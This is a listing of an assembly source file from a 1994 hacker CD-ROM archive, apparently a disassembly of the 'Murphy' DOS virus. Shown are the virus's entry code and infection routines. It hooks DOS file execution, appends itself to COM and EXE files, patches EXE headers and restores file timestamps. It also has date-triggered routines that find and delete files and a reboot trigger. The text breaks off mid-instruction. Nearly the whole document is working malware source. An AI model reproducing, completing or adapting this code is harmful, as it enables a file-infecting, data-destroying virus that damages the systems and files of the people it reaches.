home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / MURPHY.ASM < prev    next >
Assembly Source File  |  1994-07-17  |  16KB  |  672 lines

  1.   
  2. PAGE  59,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    MURPHY                         ██
  7. ;██                                         ██
  8. ;██      Created:   4-Mar-91                             ██
  9. ;██      Version:                                 ██
  10. ;██      Passes:    5           Analysis Options on: H                 ██
  11. ;██                                         ██
  12. ;██                                         ██
  13. ;██████████████████████████████████████████████████████████████████████████
  14.   
  15. data_1e        equ    4Ch            ; (0000:004C=74h)
  16. data_3e        equ    84h            ; (0000:0084=0EBh)
  17. data_5e        equ    90h            ; (0000:0090=56h)
  18. data_7e        equ    102h            ; (0000:0102=0F000h)
  19. data_8e        equ    106h            ; (0000:0106=0F000h)
  20. data_9e        equ    47Bh            ; (0000:047B=14h)
  21. data_10e    equ    0            ; (4098:0000=0FFh)
  22. data_11e    equ    1            ; (4099:0001=0FFFFh)
  23. data_12e    equ    2            ; (40EB:0002=0FFFFh)
  24. data_13e    equ    6            ; (40EB:0006=0FFFFh)
  25. data_31e    equ    0FC99h            ; (7415:FC99=0)
  26. data_32e    equ    0FC9Bh            ; (7415:FC9B=0)
  27. data_33e    equ    0FCB7h            ; (7415:FCB7=0)
  28. data_34e    equ    0FCB9h            ; (7415:FCB9=0)
  29. data_35e    equ    0FCBBh            ; (7415:FCBB=0)
  30. data_36e    equ    0FCC5h            ; (7415:FCC5=0)
  31. data_37e    equ    0FCC7h            ; (7415:FCC7=0)
  32. data_38e    equ    0FCCDh            ; (7415:FCCD=0)
  33. data_39e    equ    0FCCFh            ; (7415:FCCF=0)
  34. data_40e    equ    0            ; (F000:0000=0AA55h)
  35. data_41e    equ    2            ; (F000:0002=40h)
  36.   
  37. seg_a        segment    byte public
  38.         assume    cs:seg_a, ds:seg_a
  39.   
  40.   
  41.         org    100h
  42.   
  43. murphy        proc    far
  44.   
  45. start:
  46.         jmp    loc_28            ; (0466)
  47.         db    0C3h
  48.         db    23 dup (0C3h)
  49.         db    2Ah, 2Eh, 45h, 58h, 45h, 0
  50. data_17        dw    0C3C3h
  51. data_18        dw    0C3C3h
  52. data_19        db    0, 0
  53. data_20        dw    0
  54. data_21        dw    0
  55. data_22        dw    0
  56. data_23        dw    7415h
  57. data_24        dd    00000h
  58. data_25        dw    0
  59. data_26        dw    7415h
  60. data_27        dd    00000h
  61. data_28        dw    0
  62. data_29        dw    7415h
  63.         db    0Ah, 0Dh, 0Ah, 0Dh, ' Bhaktivedan'
  64.         db    'ta Swami Prabhupada (1896-1977)', 0Ah
  65.         db    0Dh, 0Ah, 0Dh, '$'
  66.         db    '=MKu', 9, 'U'
  67.         db    8Bh, 0ECh, 83h, 66h, 6, 0FEh
  68.         db    5Dh, 0CFh, 80h, 0FCh, 4Bh, 74h
  69.         db    12h, 3Dh, 0, 3Dh, 74h, 0Dh
  70.         db    3Dh, 0, 6Ch, 75h, 5, 80h
  71.         db    0FBh, 0, 74h, 3, 0E9h, 0BEh
  72.         db    0, 6, 1Eh, 57h, 56h, 55h
  73.         db    52h, 51h, 53h, 50h, 0E8h, 48h
  74.         db    2, 0E8h, 82h, 2, 3Dh, 0
  75.         db    6Ch, 75h, 2, 8Bh, 0D6h
  76. loc_1:
  77.         mov    cx,80h
  78.         mov    si,dx
  79.   
  80. locloop_2:
  81.         inc    si
  82.         mov    al,[si]
  83.         or    al,al            ; Zero ?
  84.         loopnz    locloop_2        ; Loop if zf=0, cx>0
  85.   
  86.         sub    si,2
  87.         cmp    word ptr [si],4D4Fh
  88.         je    loc_5            ; Jump if equal
  89.         cmp    word ptr [si],4558h
  90.         je    loc_4            ; Jump if equal
  91. loc_3:
  92.         jmp    short loc_12        ; (024A)
  93.         db    90h
  94. loc_4:
  95.         cmp    word ptr [si-4],4E41h
  96.         je    loc_6            ; Jump if equal
  97.         cmp    word ptr [si-4],444Ch
  98.         je    loc_6            ; Jump if equal
  99.         cmp    word ptr [si-4],4A52h
  100.         je    loc_6            ; Jump if equal
  101.         jnz    loc_7            ; Jump if not zero
  102. loc_5:
  103.         cmp    word ptr [si-4],444Eh
  104.         je    loc_3            ; Jump if equal
  105.         jnz    loc_8            ; Jump if not zero
  106. loc_6:
  107.         int    19h            ; Bootstrap loader
  108. loc_7:
  109.         jz    loc_8            ; Jump if zero
  110. loc_8:
  111.         mov    ax,3D02h
  112.         call    sub_5            ; (03E5)
  113.         jc    loc_12            ; Jump if carry Set
  114.         mov    bx,ax
  115.         mov    ax,5700h
  116.         call    sub_5            ; (03E5)
  117.         mov    cs:data_20,cx        ; (7415:0127=0)
  118.         mov    cs:data_21,dx        ; (7415:0129=0)
  119.         mov    ax,4200h
  120.         xor    cx,cx            ; Zero register
  121.         xor    dx,dx            ; Zero register
  122.         call    sub_5            ; (03E5)
  123.         push    cs
  124.         pop    ds
  125.         mov    dx,103h
  126.         mov    si,dx
  127.         mov    cx,18h
  128.         mov    ah,3Fh            ; '?'
  129.         call    sub_5            ; (03E5)
  130.         jc    loc_10            ; Jump if carry Set
  131.         cmp    word ptr [si],5A4Dh
  132.         jne    loc_9            ; Jump if not equal
  133.         call    sub_1            ; (025B)
  134.         jmp    short loc_10        ; (0233)
  135. loc_9:
  136.         call    sub_4            ; (036B)
  137. loc_10:
  138.         jc    loc_11            ; Jump if carry Set
  139.         mov    ax,5701h
  140.         mov    cx,cs:data_20        ; (7415:0127=0)
  141.         mov    dx,cs:data_21        ; (7415:0129=0)
  142.         call    sub_5            ; (03E5)
  143. loc_11:
  144.         mov    ah,3Eh            ; '>'
  145.         call    sub_5            ; (03E5)
  146. loc_12:
  147.         call    sub_7            ; (0429)
  148.         pop    ax
  149.         pop    bx
  150.         pop    cx
  151.         pop    dx
  152.         pop    bp
  153.         pop    si
  154.         pop    di
  155.         pop    ds
  156.         pop    es
  157. loc_13:
  158.         jmp    cs:data_24        ; (7415:012F=0)
  159.   
  160. murphy        endp
  161.   
  162. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  163. ;                   SUBROUTINE
  164. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  165.   
  166. sub_1        proc    near
  167.         mov    ah,2Ah            ; '*'
  168.         int    21h            ; DOS Services  ah=function 2Ah
  169.                         ;  get date, cx=year, dx=mon/day
  170.         cmp    dh,4
  171.         je    loc_14            ; Jump if equal
  172.         jnz    loc_15            ; Jump if not zero
  173. loc_14:
  174.         mov    ah,2Ah            ; '*'
  175.         int    21h            ; DOS Services  ah=function 2Ah
  176.                         ;  get date, cx=year, dx=mon/day
  177.         cmp    dl,0Fh
  178.         je    loc_16            ; Jump if equal
  179.         jnz    loc_15            ; Jump if not zero
  180. loc_15:
  181.         mov    cx,[si+16h]
  182.         add    cx,[si+8]
  183.         mov    ax,10h
  184.         mul    cx            ; dx:ax = reg * ax
  185.         add    ax,[si+14h]
  186.         adc    dx,0
  187.         push    dx
  188.         push    ax
  189.         mov    ax,4202h
  190.         xor    cx,cx            ; Zero register
  191.         xor    dx,dx            ; Zero register
  192.         call    sub_5            ; (03E5)
  193.         cmp    dx,0
  194.         jne    loc_17            ; Jump if not equal
  195.         cmp    ax,4E2h
  196.         jae    loc_17            ; Jump if above or =
  197.         pop    ax
  198.         pop    dx
  199.         stc                ; Set carry flag
  200.         retn
  201. loc_16:
  202.         mov    dx,10h
  203.         mov    ah,1Ah
  204.         int    21h            ; DOS Services  ah=function 1Ah
  205.                         ;  set DTA to ds:dx
  206.         mov    dx,11Bh
  207.         mov    cx,110Bh
  208.         mov    ah,4Eh            ; 'N'
  209.         int    21h            ; DOS Services  ah=function 4Eh
  210.                         ;  find 1st filenam match @ds:dx
  211.         mov    dx,2Eh
  212.         mov    ax,3D02h
  213.         int    15h            ; General services, ah=func 3Dh
  214.         mov    ah,41h            ; 'A'
  215.         int    21h            ; DOS Services  ah=function 41h
  216.                         ;  delete file, name @ ds:dx
  217.         jmp    loc_23            ; (0395)
  218.         db    0BAh, 3Fh, 1, 0B4h, 9, 0CDh
  219.         db    21h, 0EBh, 1, 90h
  220. loc_17:
  221.         mov    di,ax
  222.         mov    bp,dx
  223.         pop    cx
  224.         sub    ax,cx
  225.         pop    cx
  226.         sbb    dx,cx
  227.         cmp    word ptr [si+0Ch],0
  228.         je    loc_ret_20        ; Jump if equal
  229.         cmp    dx,0
  230.         jne    loc_18            ; Jump if not equal
  231.         cmp    ax,4E2h
  232.         jne    loc_18            ; Jump if not equal
  233.         stc                ; Set carry flag
  234.         retn
  235. loc_18:
  236.         mov    dx,bp
  237.         mov    ax,di
  238.         push    dx
  239.         push    ax
  240.         add    ax,4E2h
  241.         adc    dx,0
  242.         mov    cx,200h
  243.         div    cx            ; ax,dx rem=dx:ax/reg
  244.         les    di,dword ptr [si+2]    ; Load 32 bit ptr
  245.         mov    cs:data_22,di        ; (7415:012B=0)
  246.         mov    cs:data_23,es        ; (7415:012D=7415h)
  247.         mov    [si+2],dx
  248.         cmp    dx,0
  249.         je    loc_19            ; Jump if equal
  250.         inc    ax
  251. loc_19:
  252.         mov    [si+4],ax
  253.         pop    ax
  254.         pop    dx
  255.         call    sub_2            ; (034C)
  256.         sub    ax,[si+8]
  257.         les    di,dword ptr [si+14h]    ; Load 32 bit ptr
  258.         mov    data_17,di        ; (7415:0121=0C3C3h)
  259.         mov    data_18,es        ; (7415:0123=0C3C3h)
  260.         mov    [si+14h],dx
  261.         mov    [si+16h],ax
  262.         mov    word ptr data_19,ax    ; (7415:0125=0)
  263.         mov    ax,4202h
  264.         xor    cx,cx            ; Zero register
  265.         xor    dx,dx            ; Zero register
  266.         call    sub_5            ; (03E5)
  267.         call    sub_3            ; (035D)
  268.         jc    loc_ret_20        ; Jump if carry Set
  269.         mov    ax,4200h
  270.         xor    cx,cx            ; Zero register
  271.         xor    dx,dx            ; Zero register
  272.         call    sub_5            ; (03E5)
  273.         mov    ah,40h            ; '@'
  274.         mov    dx,si
  275.         mov    cx,18h
  276.         call    sub_5            ; (03E5)
  277.   
  278. loc_ret_20:
  279.         retn
  280.   
  281. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  282.   
  283. sub_2:
  284.         mov    cx,4
  285.         mov    di,ax
  286.         and    di,0Fh
  287.   
  288. locloop_21:
  289.         shr    dx,1            ; Shift w/zeros fill
  290.         rcr    ax,1            ; Rotate thru carry
  291.         loop    locloop_21        ; Loop if cx > 0
  292.   
  293.         mov    dx,di
  294.         retn
  295.   
  296. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  297.   
  298. sub_3:
  299.         mov    ah,40h            ; '@'
  300.         mov    cx,4E2h
  301.         mov    dx,100h
  302.         call    sub_6            ; (03EC)
  303.         jmp    short loc_27        ; (03E5)
  304.         db    90h
  305.   
  306. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  307.   
  308. sub_4:
  309.         mov    ah,2Ah            ; '*'
  310.         int    21h            ; DOS Services  ah=function 2Ah
  311.                         ;  get date, cx=year, dx=mon/day
  312.         cmp    al,6
  313.         je    loc_22            ; Jump if equal
  314.         jnz    loc_23            ; Jump if not zero
  315. loc_22:
  316.         mov    dx,10h
  317.         mov    ah,1Ah
  318.         int    21h            ; DOS Services  ah=function 1Ah
  319.                         ;  set DTA to ds:dx
  320.         mov    dx,11Bh
  321.         mov    cx,110Bh
  322.         mov    ah,4Eh            ; 'N'
  323.         int    21h            ; DOS Services  ah=function 4Eh
  324.                         ;  find 1st filenam match @ds:dx
  325.         mov    dx,2Eh
  326.         mov    ax,3D02h
  327.         int    15h            ; General services, ah=func 3Dh
  328.         mov    ah,41h            ; 'A'
  329.         int    21h            ; DOS Services  ah=function 41h
  330.                         ;  delete file, name @ ds:dx
  331.         jmp    short loc_23        ; (0395)
  332.         db    90h
  333. loc_23:
  334.         mov    ax,4202h
  335.         xor    cx,cx            ; Zero register
  336.         xor    dx,dx            ; Zero register
  337.         call    sub_5            ; (03E5)
  338.         cmp    ax,4E2h
  339.         jb    loc_ret_26        ; Jump if below
  340.         cmp    ax,0FA00h
  341.         jae    loc_ret_26        ; Jump if above or =
  342.         push    ax
  343.         cmp    byte ptr [si],0E9h
  344.         jne    loc_24            ; Jump if not equal
  345.         sub    ax,4E5h
  346.         cmp    ax,[si+1]
  347.         j